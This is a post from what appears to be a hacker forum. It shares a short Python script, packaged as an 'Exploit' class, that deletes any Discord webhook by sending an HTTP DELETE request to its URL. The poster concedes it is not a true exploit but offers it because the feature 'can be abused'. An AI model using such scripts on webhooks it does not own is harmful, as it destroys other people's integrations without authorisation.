• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

删除 Delete Webhook BUG


Pb2d

Recommended Posts

Description

Forcefully delete any Discord webhook using it's URL. This is not an exploit, but I'll keep it here as the feature can be abused.

Original founder not an exploit l0l

 

# Name: Delete Webhook
# Description: Forcefully delete a webhook
# Author: checksum (@0daySkid)
# Original founder: ~not an exploit l0l~

import requests
import sys

class Exploit:

    def __init__(self, url):
        self.webhook_url = url


    def execute(self):
        """ send DELETE request to webhook url """
        return requests.delete(self.webhook_url)

    
def main():
    if len(sys.argv) < 1:
        print(f'Usage: py {sys.argv[0]} <webhook url>')
        sys.exit()

    webhook_url = sys.argv[1]

    exploit = Exploit(webhook_url)

    exploit.execute()


if __name__ == '__main__':
    main()

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now